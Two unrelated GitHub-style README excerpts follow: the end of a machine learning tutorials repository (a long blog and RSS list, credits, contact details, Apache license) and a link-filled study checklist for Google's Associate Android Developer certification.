[(RSS)](http://www.machinalis.com/blog/feeds/rss/) * Machine Learning (Theory) http://hunch.net/ [(RSS)](http://hunch.net/?feed=rss2) * Machine Learning and Data Science http://alexhwoods.com/blog/ [(RSS)](http://alexhwoods.com/feed/) * Machine Learning https://charlesmartin14.wordpress.com/ [(RSS)](http://charlesmartin14.wordpress.com/feed/) * Machine Learning Mastery http://machinelearningmastery.com/blog/ [(RSS)](http://machinelearningmastery.com/feed/) * Machine Learning Blogs https://machinelearningblogs.com/ [(RSS)](https://machinelearningblogs.com/feed/) * Machine Learning, etc http://yaroslavvb.blogspot.com [(RSS)](http://yaroslavvb.blogspot.com/feeds/posts/default) * Machine Learning, Maths and Physics https://mlopezm.wordpress.com/ [(RSS)](https://mlopezm.wordpress.com/feed/) * Machine Learning Flashcards https://machinelearningflashcards.com/ $10, but a nicely illustrated set of 300 flash cards * Machined Learnings http://www.machinedlearnings.com/ [(RSS)](http://www.machinedlearnings.com/feeds/posts/default) * MAPPING BABEL https://jack-clark.net/ [(RSS)](https://jack-clark.net/feed/) * MAPR Blog https://www.mapr.com/blog [(RSS)](https://www.mapr.com/bigdata.xml) * MAREK REI http://www.marekrei.com/blog/ [(RSS)](http://www.marekrei.com/blog/feed/) * MARGINALLY INTERESTING http://blog.mikiobraun.de/ [(RSS)](http://feeds.feedburner.com/MarginallyInteresting) * Math ∩ Programming http://jeremykun.com/ [(RSS)](http://jeremykun.wordpress.com/feed/) * Matthew Rocklin http://matthewrocklin.com/blog/ [(RSS)](http://matthewrocklin.com/blog/atom.xml) * Melody Wolk http://melodywolk.com/projects/ [(RSS)](http://melodywolk.com/feed/) * Mic Farris http://www.micfarris.com/ [(RSS)](http://www.micfarris.com/feed/) * Mike Tyka http://mtyka.github.io/ [(RSS)](http://mtyka.github.io//feed.xml) * minimaxir | Max Woolf's Blog http://minimaxir.com/ [(RSS)](http://minimaxir.com/rss.xml) * Mirror Image https://mirror2image.wordpress.com/ [(RSS)](http://mirror2image.wordpress.com/feed/) * Mitch Crowe http://www.dataphoric.com/ [(RSS)](http://www.dataphoric.com/feed.xml) * MLWave http://mlwave.com/ [(RSS)](http://mlwave.com/feed/) * MLWhiz http://mlwhiz.com/ [(RSS)](http://mlwhiz.com/atom.xml) * Models are illuminating and wrong https://peadarcoyle.wordpress.com/ [(RSS)](http://peadarcoyle.wordpress.com/feed/) * Moody Rd http://blog.mrtz.org/ [(RSS)](http://blog.mrtz.org/feed.xml) * Moonshots http://jxieeducation.com/ [(RSS)](http://jxieeducation.com/feed.xml) * Mourad Mourafiq http://mourafiq.com/ [(RSS)](http://mourafiq.com/atom.xml) * My thoughts on Data science, predictive analytics, Python http://shahramabyari.com/ [(RSS)](http://shahramabyari.com/feed/) * Natural language processing blog http://nlpers.blogspot.fr/ [(RSS)](http://nlpers.blogspot.com/feeds/posts/default) * Neil Lawrence http://inverseprobability.com/blog.html [(RSS)](http://inverseprobability.com/rss.xml) * NLP and Deep Learning enthusiast http://camron.xyz/ [(RSS)](http://camron.xyz/index.php/feed/) * no free hunch http://blog.kaggle.com/ [(RSS)](http://blog.kaggle.com/feed/) * Nuit Blanche http://nuit-blanche.blogspot.com/ [(RSS)](http://nuit-blanche.blogspot.com/feeds/posts/default) * Number 2147483647 https://no2147483647.wordpress.com/ [(RSS)](http://no2147483647.wordpress.com/feed/) * On Machine Intelligence https://aimatters.wordpress.com/ [(RSS)](https://aimatters.wordpress.com/feed/) * Opiate for the masses Data is our religion. http://opiateforthemass.es/ [(RSS)](http://opiateforthemass.es/feed.xml) * p-value.info http://www.p-value.info/ [(RSS)](http://www.p-value.info/feeds/posts/default) * Pete Warden's blog http://petewarden.com/ [(RSS)](http://feeds.feedburner.com/typepad/petewarden) * Plotly Blog http://blog.plot.ly/ [(RSS)](http://blog.plot.ly/rss) * Probably Overthinking It http://allendowney.blogspot.ca/ [(RSS)](http://allendowney.blogspot.com/feeds/posts/default) * Prooffreader.com http://www.prooffreader.com [(RSS)](http://www.prooffreader.com/feeds/posts/default) * ProoffreaderPlus http://prooffreaderplus.blogspot.ca/ [(RSS)](http://prooffreaderplus.blogspot.ca/feeds/posts/default) * Publishable Stuff http://www.sumsar.net/ [(RSS)](http://www.sumsar.net/atom.xml) * PyImageSearch http://www.pyimagesearch.com/ [(RSS)](http://feeds.feedburner.com/Pyimagesearch) * Pythonic Perambulations https://jakevdp.github.io/ [(RSS)](http://jakevdp.github.com/atom.xml) * quintuitive http://quintuitive.com/ [(RSS)](http://quintuitive.com/feed/) * R and Data Mining https://rdatamining.wordpress.com/ [(RSS)](http://rdatamining.wordpress.com/feed/) * R-bloggers http://www.r-bloggers.com/ [(RSS)](http://feeds.feedburner.com/RBloggers) * R2RT http://r2rt.com/ [(RSS)](http://r2rt.com/feeds/all.atom.xml) * Ramiro Gómez http://ramiro.org/notebooks/ [(RSS)](http://ramiro.org/notebook/rss.xml) * Random notes on Computer Science, Mathematics and Software Engineering http://barmaley-exe.github.io/ [(RSS)](http://feeds.feedburner.com/barmaley-exe-blog-feed) * Randy Zwitch http://randyzwitch.com/ [(RSS)](http://randyzwitch.com/feed.xml) * RaRe Technologies http://rare-technologies.com/blog/ [(RSS)](http://rare-technologies.com/feed/) * Rayli.Net http://rayli.net/blog/ [(RSS)](http://rayli.net/blog/feed/) * Revolutions http://blog.revolutionanalytics.com/ [(RSS)](http://blog.revolutionanalytics.com/atom.xml) * Rinu Boney http://rinuboney.github.io/ [(RSS)](http://rinuboney.github.io/feed.xml) * RNDuja Blog http://rnduja.github.io/ [(RSS)](http://rnduja.github.io/feed.xml) * Robert Chang https://medium.com/@rchang [(RSS)](https://medium.com/feed/@rchang) * Rocket-Powered Data Science http://rocketdatascience.org [(RSS)](http://rocketdatascience.org/?feed=rss2) * Sachin Joglekar's blog https://codesachin.wordpress.com/ [(RSS)](https://codesachin.wordpress.com/feed/) * samim https://medium.com/@samim [(RSS)](https://medium.com/feed/@samim) * Sean J. Taylor http://seanjtaylor.com/ [(RSS)](http://seanjtaylor.com/rss) * Sebastian Raschka http://sebastianraschka.com/blog/index.html [(RSS)](http://sebastianraschka.com/rss_feed.xml) * Sebastian Ruder http://sebastianruder.com/ [(RSS)](http://sebastianruder.com/rss/) * Sebastian's slow blog http://www.nowozin.net/sebastian/blog/ [(RSS)](http://www.nowozin.net/sebastian/blog/feeds/all.atom.xml) * SFL Scientific Blog https://sflscientific.com/blog/ [(RSS)](http://sflscientific.com/blog/?format=rss) * Shakir's Machine Learning Blog http://blog.shakirm.com/ [(RSS)](http://blog.shakirm.com/feed/) * Simply Statistics http://simplystatistics.org [(RSS)](http://simplystatistics.org/feed/) * Springboard Blog http://springboard.com/blog * Startup.ML Blog http://startup.ml/blog [(RSS)](http://www.startup.ml/blog?format=RSS) * Statistical Modeling, Causal Inference, and Social Science http://andrewgelman.com/ [(RSS)](http://andrewgelman.com/feed/) * Stigler Diet http://stiglerdiet.com/ [(RSS)](http://stiglerdiet.com/feeds/all.atom.xml) * Stitch Fix Tech Blog http://multithreaded.stitchfix.com/blog/ [(RSS)](http://multithreaded.stitchfix.com/feed.xml) * Stochastic R&D Notes http://arseny.info/ [(RSS)](http://arseny.info/feeds/all.rss.xml) * Storytelling with Statistics on Quora http://datastories.quora.com/ [(RSS)](http://datastories.quora.com/rss) * StreamHacker http://streamhacker.com/ [(RSS)](http://feeds.feedburner.com/StreamHacker) * Subconscious Musings http://blogs.sas.com/content/subconsciousmusings/ [(RSS)](http://feeds.feedburner.com/advanalytics) * Swan Intelligence http://swanintelligence.com/ [(RSS)](http://swanintelligence.com/feeds/all.rss.xml) * TechnoCalifornia http://technocalifornia.blogspot.se/ [(RSS)](http://technocalifornia.blogspot.com/feeds/posts/default) * TEXT ANALYSIS BLOG | AYLIEN http://blog.aylien.com/ [(RSS)](http://blog.aylien.com/rss) * The Angry Statistician http://angrystatistician.blogspot.com/ [(RSS)](http://angrystatistician.blogspot.com/feeds/posts/default) * The Clever Machine https://theclevermachine.wordpress.com/ [(RSS)](http://theclevermachine.wordpress.com/feed/) * The Data Camp Blog https://www.datacamp.com/community/blog [(RSS)](http://blog.datacamp.com/feed/) * The Data Incubator http://blog.thedataincubator.com/ [(RSS)](http://blog.thedataincubator.com/feed/) * The Data Science Lab https://datasciencelab.wordpress.com/ [(RSS)](http://datasciencelab.wordpress.com/feed/) * THE ETZ-FILES http://alexanderetz.com/ [(RSS)](http://nicebrain.wordpress.com/feed/) * The Science of Data http://www.martingoodson.com [(RSS)](http://www.martingoodson.com/rss/) * The Shape of Data https://shapeofdata.wordpress.com [(RSS)](https://shapeofdata.wordpress.com/feed/) * The unofficial Google data science Blog http://www.unofficialgoogledatascience.com/ [(RSS)](http://www.unofficialgoogledatascience.com/feeds/posts/default) * Tim Dettmers http://timdettmers.com/ [(RSS)](http://timdettmers.com/feed/) * Tombone's Computer Vision Blog http://www.computervisionblog.com/ [(RSS)](http://www.computervisionblog.com/feeds/posts/default) * Tommy Blanchard http://tommyblanchard.com/category/projects [(RSS)](http://tommyblanchard.com/feeds/all.atom.xml) * Trevor Stephens http://trevorstephens.com/ [(RSS)](http://trevorstephens.com/feed.xml) * Trey Causey http://treycausey.com/ [(RSS)](http://treycausey.com/feeds/all.atom.xml) * UW Data Science Blog http://datasciencedegree.wisconsin.edu/blog/ [(RSS)](http://datasciencedegree.wisconsin.edu/feed/) * Wellecks http://wellecks.wordpress.com/ [(RSS)](http://wellecks.wordpress.com/feed/) * Wes McKinney http://wesmckinney.com/archives.html [(RSS)](http://wesmckinney.com/feeds/all.atom.xml) * While My MCMC Gently Samples http://twiecki.github.io/ [(RSS)](http://twiecki.github.io/atom.xml) * WildML http://www.wildml.com/ [(RSS)](http://www.wildml.com/feed/) * Will do stuff for stuff http://rinzewind.org/blog-en [(RSS)](http://rinzewind.org/feed-en) * Will wolf http://willwolf.io/ [(RSS)](http://willwolf.io/feed/) * WILL'S NOISE http://www.willmcginnis.com/ [(RSS)](http://www.willmcginnis.com/feed/) * William Lyon http://www.lyonwj.com/ [(RSS)](http://www.lyonwj.com/atom.xml) * Win-Vector Blog http://www.win-vector.com/blog/ [(RSS)](http://www.win-vector.com/blog/feed/) * Yanir Seroussi http://yanirseroussi.com/ [(RSS)](http://yanirseroussi.com/feed/) * Zac Stewart http://zacstewart.com/ [(RSS)](http://zacstewart.com/feed.xml) * ŷhat http://blog.yhat.com/ [(RSS)](http://blog.yhat.com/rss.xml) * ℚuantitative √ourney http://outlace.com/ [(RSS)](http://outlace.com/feed.xml) * 大トロ http://blog.otoro.net/ [(RSS)](http://blog.otoro.net/feed.xml) ## credits * [Python for Data Analysis: Data Wrangling with Pandas, NumPy, and IPython](http://www.amazon.com/Python-Data-Analysis-Wrangling-IPython/dp/1449319793) by Wes McKinney * [PyCon 2015 Scikit-learn Tutorial](https://github.com/jakevdp/sklearn_pycon2015) by Jake VanderPlas * [Python Data Science Handbook](https://github.com/jakevdp/PythonDataScienceHandbook) by Jake VanderPlas * [Parallel Machine Learning with scikit-learn and IPython](https://github.com/ogrisel/parallel_ml_tutorial) by Olivier Grisel * [Statistical Interference Using Computational Methods in Python](https://github.com/AllenDowney/CompStats) by Allen Downey * [TensorFlow Examples](https://github.com/aymericdamien/TensorFlow-Examples) by Aymeric Damien * [TensorFlow Tutorials](https://github.com/pkmital/tensorflow_tutorials) by Parag K Mital * [TensorFlow Tutorials](https://github.com/nlintz/TensorFlow-Tutorials) by Nathan Lintz * [TensorFlow Tutorials](https://github.com/alrojo/tensorflow-tutorial) by Alexander R Johansen * [TensorFlow Book](https://github.com/BinRoot/TensorFlow-Book) by Nishant Shukla * [Summer School 2015](https://github.com/mila-udem/summerschool2015) by mila-udem * [Keras tutorials](https://github.com/leriomaggio/deep-learning-keras-tensorflow) by Valerio Maggio * [Kaggle](https://www.kaggle.com/) * [Yhat Blog](http://blog.yhat.com/) ## contributing Contributions are welcome! For bug reports or requests please [submit an issue](https://github.com/tarrysingh/Machine-Learning-Tutorials//issues). ## contact-info Feel free to contact me to discuss any issues, questions, or comments. * Email: [[email protected]](mailto:[email protected]) * Twitter: [@tarrysingh](https://twitter.com/tarrysingh) * GitHub: [tarrysingh](https://github.com/tarrysingh.com) * LinkedIn: [Tarry Singh](https://www.linkedin.com/in/tarrysingh) * Website: [tarrysingh.com](https://tarrysingh.com) * Medium: [tarry@Medium](https://medium.com/@tarrysingh) * Quora : [Answers from Tarry on Quora](https://www.quora.com/profile/Tarry-Singh) ## license This repository contains a variety of content; some developed by Tarry Singh and some from third-parties and a lot will be maintained by me. The third-party content is distributed under the license provided by those parties. The content was originally started by Donne Martin is distributed under the following license in 2017. I have been further developing and maintaining it by adding PyTorch, Torch/Lua, MXNET and much more: *I am providing code and resources in this repository to you under an open source license.* Copyright 2017 Tarry Singh Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

# Associate Android Developer Certification All the info and material about the certification that I've collected so far. ## Google has Updated their Courses and every other material below are very necessary to cover, the only new thing is Android Architecture Components. **Scrolldown to the last page to see the Updated Materials** **Pull Requests are welcome!** #### Checkboxes Feel free to make a fork and fill out the checkboxes as you go! A checkbox in the editor will look like "[ ]". You just need to put an x instead of a space to check it off, like "[x]"! Thanks to [Daita](https://github.com/vdaita) for this contribution. ### Video Intro [](https://youtu.be/GY5Olv1_dB4 "Video Title") ### Official resources of the certificate - [ ] [Website of the certificate](https://developers.google.com/certification/associate-android-developer) - [ ] [Study Guide for all required topics](https://developers.google.com/certification/associate-android-developer/study-guide) ### General information - [Announcement on Google I/O 2016][google_io_announcement] - [Associate Android Developer certification Specs][certification_specs] - [Udacity Course Developing Android Apps Covers the Certification Topics][developing_apps_udacity] - [Associate Android Developer Fast Track][fast_track] - [Android Developer Fundamentals](https://developer.android.com/courses/fundamentals-training/overview-v2) ### Certification topics [Diagram version][diagram] <img src="https://raw.githubusercontent.com/Amejia481/Associate-Android-Developer-Certification/master/img/android_certification_specs.png" align="center" > #### Testing and Debugging >Writing tests to verify that the application's logic and user interface are performing as expected, and executing those tests using the developer tools. Candidates should be able to analyze application crashes, and find common bugs such as layout errors and memory leaks. This includes working with the debuggers to step through application code and verify expected behavior. - Write and execute a local JVM unit test - [ ] [[Fragmented Podcast] Episode 78 Ten Testing Strategies with Michael Bailey](http://fragmentedpodcast.com/episodes/78/) - [ ] [[Fragmented Podcast] Episode 7 Jake Wharton on Testing, SqlBrite, NotRxAndroid, RxJava and Much More](http://fragmentedpodcast.com/episodes/7/) - [ ] Getting Started with Testing - [ ] [Android Developer Training][testing_and_debuggin_getting_started_testing] - [ ] [Udacity Course Software Testing][testing_and_debuggin_udacity_course] - [ ] [Treehouse Testing in Android Course][treehouse_testing_course] - [ ] [Bulding Effective Unit Tests][testing_and_debugging_building_effective_unit_test] - [ ] [Play List Android Testing Patterns][testing_debuggin_play_list_android_testing_patterns] - [ ] [Android Testing Codelab][testing_and_debugging_testing_codelab] - [ ] [Android Testing Samples][testing_and_debugging_android_test_samples] - [ ] [Android Testing Blueprint][testing_and_debugging_android_testing_blue_print] - [ ] [Intro to testing part 1, @riggaroo][testing_and_debugging_intro_testing_reggaroo] - [ ] [Intro to testing part 2, @riggaroo][testing_and_debugging_intro_testing_reggaroo_1] - [ ] [Intro to testing part 3, @riggaroo][testing_and_debugging_intro_testing_reggaroo_3] - [ ] Write and execute a device UI test - [ ] [[Fragmented Podcast] Episodeo 78 Ten Testing Strategies with Michael Bailey](http://fragmentedpodcast.com/episodes/78/) - [ ] [Automating User Interface Tests][testing_debuggin_ui_testing] - [ ] [Espresso][testing_and_debuggin_espresso] - [ ] [UI Automator][testing_and_debuggin_ui_automator] - [ ] [Advanced Espresso Google I/O 2016][testing_and_debugging_google_io] - [ ] [Advanced Android Espresso (Big Android BBQ 2016)][testing_and_debugging_advanced_android_espresso_bbq] - [ ] [Espresso cheat sheet][testing_and_debugging_espresso_cheat_sheet] - [ ] [Espresso Serie Caster][testing_and_debugging_espresso_serie_caster] - [ ] [[Udacity Course] Advanced Android App Development Lesson: Espresso](https://www.udacity.com/course/advanced-android-app-development--ud855) - [ ] Given a problem description, replicate the failure - [ ] [Experts App Clinic:Best Practices when building apps for billions][testing_and_debugging_experts_app_clinic] - [ ] Use the system log to output debug information - [ ] [[Android Developer Site] Write and View Logs with Logcat](https://developer.android.com/studio/debug/am-logcat.html) - [ ] [ [Udacity Developing Android Apps] Logging](https://youtu.be/i8CELIzOXCs) - [ ] Debug and fix an application crash (uncaught exception) - [ ] [[Android Developer Site] Debug your App](https://developer.android.com/studio/debug/index.html) - [ ] Debug and fix an activity lifecycle issue - [ ] [[Android Developer Site] Debug your App](https://developer.android.com/studio/debug/index.html) - [ ] Debug and fix an issue binding data to views - [ ] [[Android Developer Site] Debug your App](https://developer.android.com/studio/debug/index.html) #### Application User Interface (UI) and User Experience (UX) >Implementation of the visual and navigational components of an application's design. This includes constructing layouts–using both XML and Java code–that consist of the standard framework UI elements as well as custom views. Candidates should have a working knowledge of using view styles and theme attributes to apply a consistent look and feel across an entire application. Understanding of how to include features that expand the application's audience through accessibility and localization may also be required. - [ ] [[Fragmented Podcast] Episode 071: UI UX development with GDE Raveesh](http://fragmentedpodcast.com/episodes/71/) - [ ] Mock up the main screens and navigation flow of the application - [ ] [[Udacity Course] Developing Android Apps Lesson: Completing the UI - Accessibility](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] [[Udacity Course] Developing Android Apps Lesson: Completing the UI - Polishing the UI](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] [[Code Labs Android] Using ConstraintLayout to design your views ](https://codelabs.developers.google.com/codelabs/constraint-layout/#0) - [ ] Describe interactions between UI, background task, and data persistence - [ ] Construct a layout using XML or Java code - [ ] [ [Techotopia] Creating an Android User Interface in Java Code](http://www.techotopia.com/index.php/Creating_an_Android_User_Interface_in_Java_Code) - [ ] Create a custom view class and add it to a layout - [ ] [[Team Treehouse Course] Custom Views in Android](https://teamtreehouse.com/library/custom-views-in-android) - [ ] Implement a custom application theme - [ ] [[Android Developer Page] Styles and Themes](https://developer.android.com/guide/topics/ui/themes.html) - [ ] [[CodePath* Page] Developing Custom Theme](https://guides.codepath.com/android/Developing-Custom-Themes) - [ ] [[Android Studio Page] Design App Themes with Theme Editor](https://developer.android.com/studio/write/theme-editor.html) - [ ] [[Udacity Course] Developing Android Apps Lesson: Polishing the UI - Styles and Themes](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Apply a custom style to a group of common widgets - [ ] [[Android Developer Page] Styles and Themes](https://developer.android.com/guide/topics/ui/themes.html) - [ ] Define a RecyclerView item list - [ ] [[Android Developer Site] Recycler View](https://developer.android.com/guide/topics/ui/layout/recyclerview.html) - [ ] [[CodePath* ] Using Recycler View](https://guides.codepath.com/android/using-the-recyclerview) - [ ] [[Treehouse Course] Android Lists and Adapters](https://teamtreehouse.com/library/android-lists-and-adapters) - [ ] [[Udacity Course] Developing Android Apps Lesson: RecyclerView](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Bind local data to a RecyclerView list - [ ] [[Android Developer Site] Recycler View](https://developer.android.com/guide/topics/ui/layout/recyclerview.html) - [ ] [[CodePath* ] Using Recycler View](https://guides.codepath.com/android/using-the-recyclerview) - [ ] [[Treehouse Course] Android Lists and Adapters](https://teamtreehouse.com/library/android-lists-and-adapters) - [ ] [[Udacity Course] Developing Android Apps Lesson: RecyclerView](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Implement menu-based or drawer navigation - [ ] [[Android Developers Page] Creating a Navigation Drawer][ui_ux_android_page_creating_drawer] - [ ] [[Android Developers Blog] Android Design Support Library Navigation View][ui_ux_android_developer_blog_navigation_view] - [ ] [[Team Treehouse Blog] How to Add a Navigation Drawer in Android][ui_ux_team_treehouse_blog_navigation_drawer] - [ ] [[Antonio Leiva Blog] Design Support Library (I): Navigation View][ui_ux_navigation_view] - [ ] [[Android Development Patterns] Episode 8 Navigation Drawer, DrawerLayout, and NavigationView](https://www.youtube.com/watch?v=DkT0vS14Um0&feature=youtu.be&list=PLWz5rJ2EKKc-lJo_RGGXL2Psr8vVCTWjM) - [ ] [[Udacity Course] Advanced Android App Development Lesson: Fragments](https://www.udacity.com/course/advanced-android-app-development--ud855) - [ ] [[Android Developer Page] Fragments](https://developer.android.com/guide/components/fragments.html) - [ ] Localize the application's UI text into one other language - [ ] [[Android Developer Page] Localizing with Resources](https://developer.android.com/guide/topics/resources/localization.html) - [ ] [[Android Developer Page] Supporting Different Languages and Cultures](https://developer.android.com/training/basics/supporting-devices/languages.html) - [ ] [[Treehouse Course] Localization in Android](https://teamtreehouse.com/library/localization-in-android) - [ ] [[Android Developer Page] Localization checklist](https://developer.android.com/distribute/best-practices/launch/localization-checklist.html) - [ ] [[Android Developer Page] NumberFormat](https://developer.android.com/reference/java/text/NumberFormat.html) - [ ] [[Android Developer Page] DateFormat](https://developer.android.com/reference/java/text/DateFormat.html) - [ ] Apply content descriptions to views for accessibility - [ ] [[Android Developer Page] Accessibility](https://developer.android.com/guide/topics/ui/accessibility/index.html) - [ ] [[Udacity Course] Developing Android Apps Lesson: Completing the UI - Accessibility](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Add accessibility hooks to a custom view - [ ] [[Android Developer Page] Building Accessible Custom Views](https://developer.android.com/guide/topics/ui/accessibility/custom-views.html) #### Fundamental Application Components >Understanding of Android's top-level application components ([Activity](https://www.youtube.com/playlist?list=PLWy8DQlwJkdw5GZHEj4ZhR4cayR-ou6Hh), [Service](https://www.youtube.com/playlist?list=PLWy8DQlwJkdzW-dHvL1py-vyF6vYEmDmw), [Broadcast Receiver](https://www.youtube.com/playlist?list=PLWy8DQlwJkdwtBDTpP3tsjx0wXhR2shOq), [Content Provider](https://www.youtube.com/playlist?list=PLWy8DQlwJkdy2_bBHMQgGyrN4784K3Go0)) and the lifecycle associated with each one. Candidates should be able to describe the types of application logic that would be best suited for each component, and whether that component is executing in the foreground or in the background. This includes strategies for determining how and when to execute background work. - [ ] Describe an application's key functional and nonfunctional requirements - [ ] Create an Activity that displays a layout resource - [ ] [Schedule a time-sensitive task using alarms](https://github.com/firebase/firebase-jobdispatcher-android) - [ ] [[Udacity Course] Developing Android Apps Lesson: Background Tasks](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Schedule a background task using [JobScheduler](https://www.youtube.com/playlist?list=PLWy8DQlwJkdw_gbIbmGs4wplosYZn3kAm) - [ ] [[Udacity Course] Developing Android Apps Lesson: Background Tasks](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Execute a background task inside of a [Service](https://www.youtube.com/playlist?list=PLWy8DQlwJkdzW-dHvL1py-vyF6vYEmDmw) - [ ] [[Udacity Course] Developing Android Apps Lesson: Background Tasks](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] [[Android Performance Patterns] Season 4 Episode 6 Service Performance Patterns](https://www.youtube.com/watch?v=NJsq0TU0qeg) - [ ] [[Android Developer Page] Services](https://developer.android.com/guide/components/services.html) - [ ] [[Android Developer Page] Creating a Background Service](https://developer.android.com/training/run-background-service/create-service.html) - [ ] Implement non-standard task stack navigation (deep links) - [ ] [[Android Developer Page] Enabling Deep Links for Apps content](https://developer.android.com/training/app-indexing/deep-linking.html) - [ ] [[Team Treehouse Course] Deep Links](https://teamtreehouse.com/library/deep-links) - [ ] [[Jayway Blog] The Browseable Category](https://blog.jayway.com/2009/09/24/the-browsable-category-revealed/) - [ ] Integrate code from an external support library - [ ] [[Udacity Course] Advanced Android App Development Lesson: Libraries](https://www.udacity.com/course/advanced-android-app-development--ud855) #### Persistent Data Storage >Determining appropriate use cases for local [persisted data](https://www.youtube.com/playlist?list=PLWy8DQlwJkdzafwjoVUcx9283oIbJQvFC), and designing solutions to implement data storage using files, preferences, and databases. This includes implementing strategies for bundling static data with applications, caching data from remote sources, and managing user-generated private data. Candidates should also be able to describe platform features that allow applications to store data securely and share that data with other applications in a secure manner. - [ ] Define a database schema; include tables, fields, and indices - [ ] [[Android Developers Page] Saving Data in SQL Databases][db_android_guide_database] - [ ] [[Udacity Course] Data Storage][db_udacity] - [ ] [[Team Treehouse] Android Data Persistence][db_treehouse_data_persistence] - [ ] Create an application-private database file - [ ] Construct database queries returning single results - [ ] [[Android Developers Page] Read Information from a Database][db_android_guide_database_read] - [ ] Construct database queries returning multiple results - [ ] [[Android Developers Page] Read Information from a Database][db_android_guide_database_read] - [ ] Insert new items into a database - [ ] [[Android Developers Page] Put Information into a Database][db_android_guide_database_write] - [ ] Update or delete existing items in a database - [ ] [[Android Developers Page] Update a Database][db_android_guide_database_update] - [ ] [[Android Developers Page] Delete Information from a Database][db_android_guide_database_delete] - [ ] Expose a database to other applications via [Content Provider](https://www.youtube.com/playlist?list=PLWy8DQlwJkdy2_bBHMQgGyrN4784K3Go0) - [ ] [[Udacity Course] How to Use a Content Provider][persistent_data_storage_udacity_how_to_use_content_provider] - [ ] [[Udacity Course] Data Storage Lesson 3: Introduction To Content Providers][db_udacity] - [ ] Read and parse raw resources or asset files - [ ] [[Team Treehouse] Android Data Persistence][db_treehouse_data_persistence] - [ ] Create persistent preference data from user input - [ ] [[Udacity Course] Developing Android Apps Lesson: Preferences](https://www.udacity.com/course/new-android-fundamentals--ud851) - [ ] Toggle application logic based on preference values - [ ] [[Udacity Course] Developing Android Apps Lesson: Preferences](https://www.udacity.com/course/new-android-fundamentals--ud851) #### Enhanced System Integration >Extending applications to integrate with interfaces outside the core application experience through notifications and app widgets. This includes displaying information to the user through these elements and keeping that information up to date. Candidates should also understand how to provide proper navigation from these external interfaces into the application's main task, including appropriate handling of deep links. - [ ] Create an app widget that displays on the device home screen - [ ] [[Android Developers docs] about Widget][android_developers_about_widget] - [ ] [[TreeHouse Workshop] Widgets ][treehouse_widget_workshop] - [ ] [[Udacity Course] Advanced Android App Development Lesson: Widgets](https://www.udacity.com/course/advanced-android-app-development--ud855) - [ ] [[Android Development Patterns] Season 2 Episode 2 Your app, their home screen: Widgets](https://www.youtube.com/watch?v=crsmPedDyoU) - [ ] Implement a task to update the app widget periodically - [ ] [[Android Developers Page] Widget][android_developers_about_widget] - [ ] [[TreeHouse Workshop] Widgets ][treehouse_widget_workshop] - [ ] [[Udacity Course] Advanced Android App Development Lesson: Widgets](https://www.udacity.com/course/advanced-android-app-development--ud855) - [ ] Create and display a notification to the user - [ ] [[Android Developer Page] Building a Notification](https://developer.android.com/training/notify-user/build-notification.html) - [ ] [[Udacity Course] Developing Android Apps Lesson: Background Tasks](https://www.udacity.com/course/new-android-fundamentals--ud851) [google_io_announcement]:<https://www.youtube.com/watch?v=Yu2oGere_Mc&index=13&list=PLWz5rJ2EKKc8jQTUYvIfqA9lMvSGQWtte> [certification_specs]:<https://www.udacity.com/google-certifications> <!--( BEGINNING Testing and Debugging)--> [testing_and_debuggin_getting_started_testing]:<https://developer.android.com/training/testing/start/index.html> [testing_and_debugging_android_testing_blue_print]:<https://github.com/googlesamples/android-testing-templates> [testing_and_debugging_testing_codelab]:<https://codelabs.developers.google.com/codelabs/android-testing/#1> [testing_and_debugging_building_effective_unit_test]:<https://developer.android.com/training/testing/unit-testing/index.html> [testing_and_debugging_android_test_samples]:<https://github.com/googlesamples/android-testing> [testing_debuggin_ui_testing]:<https://developer.android.com/training/testing/ui-testing/index.html> [testing_and_debuggin_espresso]:<https://google.github.io/android-testing-support-library/docs/espresso/index.html> [testing_and_debuggin_ui_automator]:<https://google.github.io/android-testing-support-library/docs/uiautomator/index.html> [testing_and_debugging_google_io]:<https://www.youtube.com/watch?v=isihPOY2vS4&index=29&list=PLWz5rJ2EKKc8jQTUYvIfqA9lMvSGQWtte> [testing_debuggin_play_list_android_testing_patterns]:<https://www.youtube.com/watch?v=W8LJjfkTKik&list=PLWz5rJ2EKKc-6HWg_jyP0U1zrVLHn65b2> [testing_and_debugging_advanced_android_espresso_bbq]:<https://www.youtube.com/watch?v=hfoAC9gdC74&list=PLWz5rJ2EKKc_HyE1QX9heAgTPdAMqc50z&index=6> [testing_and_debugging_experts_app_clinic]:<https://www.youtube.com/watch?v=Fhj7IIsAgyE&index=61&list=PLWz5rJ2EKKc8jQTUYvIfqA9lMvSGQWtte> [testing_and_debugging_intro_testing_reggaroo]:<https://riggaroo.co.za/introduction-automated-android-testing/> [testing_and_debugging_intro_testing_reggaroo_1]:<https://riggaroo.co.za/automated-android-testing-part-2-setup/> [testing_and_debugging_intro_testing_reggaroo_3]:<https://riggaroo.co.za/introduction-android-testing-part3/> [testing_and_debugging_espresso_cheat_sheet]:<https://google.github.io/android-testing-support-library/docs/espresso/cheatsheet/> [testing_and_debugging_espresso_serie_caster]:<https://caster.io/series/espresso> [testing_and_debuggin_udacity_course]:<https://www.udacity.com/course/software-testing--cs258> [treehouse_testing_course]:<https://teamtreehouse.com/library/testing-in-android> <!--( END Testing and Debugging)--> [persistent_data_storage_udacity_how_to_use_content_provider]:<https://www.udacity.com/course/how-to-use-a-content-provider--ud258> [diagram]:<https://coggle.it/diagram/V4zu4UNht0Q0XiTy/0a02ec0ffa8bc95928de4478d1ae1f45a85a8e16cddc07f5180bc9f18b2c63e1> [developing_apps_udacity]:<https://www.udacity.com/course/ud851> [fast_track]:<https://www.udacity.com/course/associate-android-developer-fast-track--nd818> [ui_ux_team_treehouse_blog_navigation_drawer]:<http://blog.teamtreehouse.com/add-navigation-drawer-android> <!--(BEGINNING Application User Interface (UI) and User Experience (UX))--> 